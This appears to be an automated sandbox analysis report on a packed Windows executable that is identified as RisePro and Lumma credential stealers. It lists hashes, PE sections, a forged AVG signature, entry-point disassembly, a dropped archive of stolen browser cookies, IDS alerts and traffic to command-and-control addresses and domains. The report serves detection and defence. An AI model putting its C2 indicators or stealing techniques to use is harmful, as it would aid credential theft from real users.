Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....eG....Y^=kf..\|.......^Ow..Zo.4=...{/T..HB.FBB^%..A...........cJ..d.I A\|....O.....YY.Yk.VD.....)...;.i...U.-.u......&..:......Z..=.1e._...i.s.S_.D.Yd..m.5JfbO..)..O~9...R..b.@..K....:..b.+1./..b8..Jk...1v.x.'..l....;u..<...+.G=..}l..\|v ..:./=.06M.?=-....r.#...'.b.....M.s.5....4...&.>....$l.....=...g.i.;......)..oy...b..S.....d.`.?....7...>ny....6...7.>f.e..G.....1c.~ 3....}....?.)s4V..C{........c{.;...i....I.yO{....]i...M..3..=..}....}..(.^.\|..........c.;...o.q.k...V1ow...?`{.0.<.w.=...w4.E..'-......4....b.......9.`....],gg...Nv..oKc;....Z......b.f1.....w.#-.....'fy...~k.....q...M...1..m.q...-i...o...mmn..2.olb.v.#-......].............om........O.k`....kY....7...2...~--1...g]`....7.Vc..me.oa{ny].10..........6.&3...6&.......g.<bc.....7.6.m\|M./.... ....f............7.5...&..Z..mly.^..7..Z....q.E..wn1.O.......U9....9.\].k1..i..6...,F..

C:\Users\user\AppData\Local\Temp\uw5Stgma3gbM9Xo4g_6cCoQ.zip

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	701222
Entropy (8bit):	7.997879344269176
Encrypted:	true
SSDEEP:	12288:aQRKzFgKQG4f92eGO90/+SHpqRK8Du2GMSsfL8JpgRT7Cd:aQUcGW9VB90m0YgqZJ5087Cd
MD5:	8CE396483EFAD54B995C90DA730CE355
SHA1:	A62384D1F493FADFDA7648E22BE70C7FC00EE571
SHA-256:	B0F4FF756AA89245AD373B36EBF05B4774FB7E37E232FA142F9F912A94B9C296
SHA-512:	1C362EF2CCE749FC79A6D457A8B1259F3CF2F9AEF97BF5147855F43BA6B5A732709DCFDA80A96D17FC133C8F864A1974F35990F87245B643E4C275B0CDFDCF88
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\uw5Stgma3gbM9Xo4g_6cCoQ.zip, Author: Joe Security
Preview:	PK.........{.X................Cookies\..PK.........{.XQn.+............Cookies\Chrome_Default.txt.G..r...U.#.5C.....s$..-.D...7.\..$.G.)o....:....Z.C.f_..pm............"..t..t....}.k.@...a.2+P`.0.x.>....s..k%.._..b..P..((......B.....`.7..-m..JY..F....E..l.....I..&.....<J..M.......,V...)b.....Q..k......M?.5L....h}......X..'.0..tB.G...\;.a....4.......B4.......J.4.6.y:....4.-.UfE...3Ap.U5UX....Z.g:e.j.C..Bw..........e..a^.vU:....$..U......B..`._.e.....+...9.{u...7.e...H.]02...%yR".0...x...P<..N....R.}....{.G...;..c..x...kw.'S>.d\|.....B..k.9.t.!>.rh...~n.[....s#/....`.!..Kb8%&.vZB`....O\|.....>K......L...d0..03..t...T&.......`N.xp.."..J.......Q.....c..5...).Z.91.6.j..G.....Wr...a.52!..(^.U.....6....dB.D.^...7..0H.\J9.H.$^`e"..d...\....B.8Z=.qeP.3Y.>..'W.X..T..>z...,..K......g....%B.w4#...;.[]u\|....v...3.;L..U?..b.....u....... .......F...P.a...\|R3.=......r.:.64...#D..^..>.A..ZT.]E........t...f...1..3.....`...X.....C.]%...p.p.ym

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.655592549419492
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2q45IEa3Ee.exe
File size:	2'551'616 bytes
MD5:	4a36fa7c0ccbc6842c541a6439ab545a
SHA1:	9257009dd59ac4db2518293bcd46be058d937284
SHA256:	ca9b2380df90ac17d8c042db4ab442ffad68cc52cd2e557d855f7d571469198f
SHA512:	13ef8cf5b3add3445e71f1f1d6047eb571a6ccc439e5bbe63b9a29299ca01030ae8cd1b8b4cbab2cda05936e22e894097744f5e8c77b8149b5c975a707506a77
SSDEEP:	49152:p2eDXH3Qb21TmkaSL8sUEFr+mZgl+a2kx+aan/RQTUJN:fD3l1CkaQ8sUEFCmZPa+aIRQW
TLSH:	92C501323BFA8BBAE5CACA30DD6FD6A0C5403C96F46646911589B57E12F04DD0B4E4E3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s...../.s

File Icon


Icon Hash:	7ffbf3bb3b299455

Static PE Info

General

Entrypoint:	0x994f20
Entrypoint Section:	.boot
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6624C730 [Sun Apr 21 07:58:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	63814aaf116ba6abb6496ce4bcad24c6

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=AVG Technologies USA LLC \u2122\u2030\u2122\u2030\u2122\u2030
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	06/01/2024 10:14:42 07/01/2034 10:14:42
Subject Chain	CN=AVG Technologies USA LLC \u2122\u2030\u2122\u2030\u2122\u2030
Version:	3
Thumbprint MD5:	27F5DD79C86B9255242DDB29A51B691E
Thumbprint SHA-1:	44268FBAA5D87BA1717C7237701B06FA20E9AF66
Thumbprint SHA-256:	1C39A7BBBC7445339DEFD55E21DFA65CDEB9037F0FD33140759077C31CB40BE0
Serial:	59AE1233E1806897438DF0EEC7051E17

Entrypoint Preview

Instruction
call 00007F9518BDB0A0h
push ebx
mov ebx, esp
push ebx
mov esi, dword ptr [ebx+08h]
mov edi, dword ptr [ebx+10h]
cld
mov dl, 80h
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F9518BDAF3Ch
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F9518BDAFA3h
xor eax, eax
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F9518BDB037h
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
je 00007F9518BDAF5Ah
push edi
mov eax, eax
sub edi, eax
mov al, byte ptr [edi]
pop edi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
jmp 00007F9518BDAEEBh
mov eax, 00000001h
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F9518BDAF3Ch
sub eax, ebx
mov ebx, 00000001h
jne 00007F9518BDAF7Ah
mov ecx, 00000001h
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 00007F9518BDAF57h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F9518BDAF3Ch
push esi
mov esi, edi
sub esi, ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20e18b	0x184	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18a000	0x7af22	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x26c210	0x2d30	.themida
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6f4000	0x10	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x20f018	0x18	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x17fa50	0x40
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x160f48	0x80800	1fde0b2f9ba826eb7bb1f3755e4aba55	False	0.9998214068579766	data	7.999554529460661	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
	0x162000	0x1f1b0	0xa600	cf9194a21763b6043afa5ffc0c1449ea	False	0.9965173192771084	data	7.99286776832715	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x182000	0x72d0	0x1600	1c099bc9e477f548ffb964f3a4981bdb	False	0.9872159090909091	data	7.929091727373002	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x18a000	0x7af22	0x7b000	4c7fc19900ceba159cbed52fc4994937	False	0.301587112550813	data	5.082689501285179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x205000	0x8250	0x4800	0d417506eb649535b78e0dbb1056624d	False	0.9876844618055556	data	7.963276296922511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0x20e000	0x1000	0x400	292e24cf2ac1571d429d8e1f1937f1e5	False	0.4013671875	data	3.4435698831363544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x20f000	0x1000	0x200	c98d956a508fa697ee774bd4ad91e4ab	False	0.056640625	data	0.18120187678200297	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.themida	0x210000	0x384000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.boot	0x594000	0x15fc00	0x15fc00	3f280db0b72bf0de9235379a1f9fe774	False	0.9848233719793887	data	7.949677127496007	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x6f4000	0x1000	0x10	b09d3d350176315db5dfc472dbeca20d	False	1.5	GLS_BINARY_LSB_FIRST	2.349601752714581	IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
REGINST	0x18a970	0x33d	Windows setup INFormation	English	United States	0.4487334137515078
RTKICON	0x18acb0	0x4780e	MS Windows icon resource - 7 icons, 48x48, 8 bits/pixel, 32x32, 8 bits/pixel	English	United States	0.1045008501833528
SETUPSERVICE_WIN7	0x1d24c0	0x6000	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	English	United States	0.20174153645833334
SETUPSERVICE_WIN8	0x1d84c0	0x2a00	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	English	United States	0.46000744047619047
RT_ICON	0x1daec0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024			0.7686170212765957
RT_ICON	0x1db328	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.6163227016885553
RT_ICON	0x1dc3d0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536			0.43521530817461257
RT_ICON	0x1ecbf8	0x118c7	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			1.0004312803461373
RT_MENU	0x1fe4c0	0x357c	data			0.22509494595384166
RT_MENU	0x201a3c	0x8e	data			0.5352112676056338
RT_MENU	0x201acc	0x1fe	data			0.37254901960784315
RT_MENU	0x201ccc	0x190	data			0.38
RT_MENU	0x201e5c	0x7a2	data			0.2656090071647902
RT_MENU	0x202600	0x25c	data			0.3509933774834437
RT_MENU	0x20285c	0x7ce	data	Korean	North Korea	0.1981981981981982
RT_MENU	0x20285c	0x7ce	data	Korean	South Korea	0.1981981981981982
RT_MENU	0x20302c	0x86	data			0.5522388059701493
RT_MENU	0x2030b4	0x88	data			0.5220588235294118
RT_MENU	0x20313c	0x64	data			0.64
RT_MENU	0x2031a0	0xba	data			0.478494623655914
RT_MENU	0x20325c	0x126	data			0.4387755102040816
RT_MENU	0x203384	0xa4	data			0.5304878048780488
RT_MENU	0x203428	0x28	data			1.0
RT_MENU	0x203450	0x9c	data			0.5576923076923077
RT_MENU	0x2034ec	0x74	data			0.6724137931034483
RT_MENU	0x203560	0xce	data			0.46601941747572817
RT_MENU	0x203630	0xd6	data			0.5747663551401869
RT_MENU	0x203708	0x80	data			0.7109375
RT_MENU	0x203788	0x24	data			1.0833333333333333
RT_MENU	0x2037ac	0x26	data			1.0263157894736843
RT_MENU	0x2037d4	0x11c	data			0.30633802816901406
RT_MENU	0x2038f0	0x76	data			0.635593220338983
RT_MENU	0x203968	0xe6	data			0.4434782608695652
RT_MENU	0x203a50	0x142	data			0.4192546583850932
RT_MENU	0x203b94	0x18a	data			0.3756345177664975
RT_MENU	0x203d20	0xc6	data			0.5404040404040404
RT_MENU	0x203de8	0x19c	data			0.2621359223300971
RT_MENU	0x203f84	0x142	data			0.42857142857142855
RT_MENU	0x2040c8	0x18a	data			0.38071065989847713
RT_MENU	0x204254	0xb4	data			0.4111111111111111
RT_MENU	0x204308	0x122	data			0.296551724137931
RT_GROUP_ICON	0x20442c	0x3e	data			0.7903225806451613
RT_VERSION	0x20446c	0x3cc	data	English	United States	0.3950617283950617
RT_MANIFEST	0x204838	0x6ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.41694915254237286

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
USER32.dll	wsprintfA
GDI32.dll	CreateCompatibleBitmap
ADVAPI32.dll	RegQueryValueExA
SHELL32.dll	ShellExecuteA
ole32.dll	CoInitialize
WS2_32.dll	WSAStartup
CRYPT32.dll	CryptUnprotectData
SHLWAPI.dll	PathFindExtensionA
gdiplus.dll	GdipGetImageEncoders
SETUPAPI.dll	SetupDiEnumDeviceInfo
ntdll.dll	RtlUnicodeStringToAnsiString
RstrtMgr.DLL	RmStartSession

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Korean	North Korea
Korean	South Korea

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/21/24-15:31:20.586831	UDP	2052033	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (bordersoarmanusjuw .shop)	52093	53	192.168.2.4	1.1.1.1
04/21/24-15:31:25.628405	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49760	443	192.168.2.4	172.67.189.66
04/21/24-15:31:23.881087	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49754	443	192.168.2.4	172.67.189.66
04/21/24-15:31:33.821783	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49767	443	192.168.2.4	172.67.189.66
04/21/24-15:31:26.418186	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49762	443	192.168.2.4	172.67.189.66
04/21/24-15:31:21.334851	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49743	443	192.168.2.4	172.67.189.66
04/21/24-15:31:22.307200	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49748	443	192.168.2.4	172.67.189.66
04/21/24-15:31:41.967279	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49775	443	192.168.2.4	172.67.189.66
04/21/24-15:31:36.937476	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49771	443	192.168.2.4	172.67.189.66
04/21/24-15:31:35.293170	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49769	443	192.168.2.4	172.67.189.66
04/21/24-15:31:24.663338	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49756	443	192.168.2.4	172.67.189.66
04/21/24-15:31:27.426056	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49764	443	192.168.2.4	172.67.189.66
04/21/24-15:31:23.027299	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49750	443	192.168.2.4	172.67.189.66
04/21/24-15:31:23.083597	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49751	443	192.168.2.4	172.67.189.66
04/21/24-15:31:25.393562	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49758	443	192.168.2.4	172.67.189.66
04/21/24-15:31:21.497185	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49745	443	192.168.2.4	172.67.189.66
04/21/24-15:31:43.541138	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49777	443	192.168.2.4	172.67.189.66
04/21/24-15:31:03.459237	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49732	50500	192.168.2.4	193.233.132.253
04/21/24-15:31:23.803046	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49753	443	192.168.2.4	172.67.189.66
04/21/24-15:31:22.231263	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49747	443	192.168.2.4	172.67.189.66
04/21/24-15:31:26.161697	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49761	443	192.168.2.4	172.67.189.66
04/21/24-15:31:45.038330	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49779	443	192.168.2.4	172.67.189.66
04/21/24-15:31:45.673426	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49780	443	192.168.2.4	172.67.189.66
04/21/24-15:31:33.057817	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49766	443	192.168.2.4	172.67.189.66
04/21/24-15:31:24.609439	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49755	443	192.168.2.4	172.67.189.66
04/21/24-15:31:41.199553	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49774	443	192.168.2.4	172.67.189.66
04/21/24-15:31:34.487931	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49768	443	192.168.2.4	172.67.189.66
04/21/24-15:31:37.580199	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49772	443	192.168.2.4	172.67.189.66
04/21/24-15:31:20.726146	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49742	443	192.168.2.4	172.67.189.66
04/21/24-15:31:24.761343	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49757	443	192.168.2.4	172.67.189.66
04/21/24-15:31:21.449796	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49744	443	192.168.2.4	172.67.189.66
04/21/24-15:31:26.584600	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49763	443	192.168.2.4	172.67.189.66
04/21/24-15:31:36.076592	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49770	443	192.168.2.4	172.67.189.66
04/21/24-15:31:42.756248	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49776	443	192.168.2.4	172.67.189.66
04/21/24-15:31:00.128706	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49732	50500	192.168.2.4	193.233.132.253
04/21/24-15:31:22.967985	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49749	443	192.168.2.4	172.67.189.66
04/21/24-15:31:25.400720	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49759	443	192.168.2.4	172.67.189.66
04/21/24-15:31:44.323393	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49778	443	192.168.2.4	172.67.189.66
04/21/24-15:31:27.781654	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49765	443	192.168.2.4	172.67.189.66
04/21/24-15:31:23.794727	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49752	443	192.168.2.4	172.67.189.66
04/21/24-15:31:46.836355	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49781	443	192.168.2.4	172.67.189.66
04/21/24-15:31:00.343729	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49732	193.233.132.253	192.168.2.4
04/21/24-15:31:11.754990	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49732	193.233.132.253	192.168.2.4
04/21/24-15:31:22.151633	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49746	443	192.168.2.4	172.67.189.66
04/21/24-15:31:38.597070	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49773	443	192.168.2.4	172.67.189.66

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 15:30:59.860203981 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:00.101953983 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:00.102061033 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:00.128705978 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:00.343729019 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:00.396625996 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:00.424932003 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:03.459237099 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:03.753407001 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:11.754990101 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:11.803339005 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:12.045018911 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:12.088685989 CEST	49733	443	192.168.2.4	34.117.186.192
Apr 21, 2024 15:31:12.088768959 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.088860035 CEST	49733	443	192.168.2.4	34.117.186.192
Apr 21, 2024 15:31:12.091751099 CEST	49733	443	192.168.2.4	34.117.186.192
Apr 21, 2024 15:31:12.091787100 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.099632978 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:12.318171978 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.318367958 CEST	49733	443	192.168.2.4	34.117.186.192
Apr 21, 2024 15:31:12.320291996 CEST	49733	443	192.168.2.4	34.117.186.192
Apr 21, 2024 15:31:12.320322037 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.320843935 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.344369888 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:12.344516993 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:12.361529112 CEST	49733	443	192.168.2.4	34.117.186.192
Apr 21, 2024 15:31:12.408123016 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.554577112 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.554698944 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.554869890 CEST	49733	443	192.168.2.4	34.117.186.192
Apr 21, 2024 15:31:12.596008062 CEST	49733	443	192.168.2.4	34.117.186.192
Apr 21, 2024 15:31:12.596008062 CEST	49733	443	192.168.2.4	34.117.186.192
Apr 21, 2024 15:31:12.596076012 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.596158028 CEST	443	49733	34.117.186.192	192.168.2.4
Apr 21, 2024 15:31:12.637617111 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:12.711200953 CEST	49734	443	192.168.2.4	104.26.5.15
Apr 21, 2024 15:31:12.711251974 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:12.711321115 CEST	49734	443	192.168.2.4	104.26.5.15
Apr 21, 2024 15:31:12.711627007 CEST	49734	443	192.168.2.4	104.26.5.15
Apr 21, 2024 15:31:12.711667061 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:12.934827089 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:12.934962988 CEST	49734	443	192.168.2.4	104.26.5.15
Apr 21, 2024 15:31:12.937274933 CEST	49734	443	192.168.2.4	104.26.5.15
Apr 21, 2024 15:31:12.937304974 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:12.937661886 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:12.938883066 CEST	49734	443	192.168.2.4	104.26.5.15
Apr 21, 2024 15:31:12.984142065 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:13.355549097 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:13.355645895 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:13.355828047 CEST	49734	443	192.168.2.4	104.26.5.15
Apr 21, 2024 15:31:13.355917931 CEST	49734	443	192.168.2.4	104.26.5.15
Apr 21, 2024 15:31:13.355917931 CEST	49734	443	192.168.2.4	104.26.5.15
Apr 21, 2024 15:31:13.355962038 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:13.355993032 CEST	443	49734	104.26.5.15	192.168.2.4
Apr 21, 2024 15:31:13.361119032 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:13.648124933 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:14.529617071 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:14.559459925 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:14.855963945 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:14.920520067 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:14.961065054 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:15.253354073 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:15.291058064 CEST	50500	49732	193.233.132.253	192.168.2.4
